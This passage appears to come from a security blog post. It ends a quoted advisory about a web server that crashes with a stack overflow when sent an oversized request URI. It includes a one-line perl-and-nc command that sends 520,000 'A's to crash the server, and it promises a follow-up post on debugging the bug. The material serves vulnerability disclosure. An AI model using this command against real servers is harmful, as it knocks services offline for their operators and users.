It's denial of service only. Simply put, the Requested URI is copied around in memory, some copies are stored on the stack. After several large copies, they exhaust the available stack space for the process. This yields a Stack Overflow Exception, not to be confused with a buffer overflow. The exception is passed to the controlling process where no handler exists, so the application exits immediately. Additionally the request does not have to be well formed, e.g. a continuous string of repeating 'A's will have the same effect as long as it does not receive the "\n\n" and try to process the request.
perl -e 'print "A" x 520000 . "\n\n"' | nc server 80
*End Alert*/

So I load Ollydbg to and take a closer look at the vulnerability, which I'll cover that in a future post, and how it led me to find better and more mature bugs which have real security impacts beyond the utilitarian annoyance of a Denial of Service condition.

Until then, Hack Safe, Hack Legal, but most of all Hack Fun!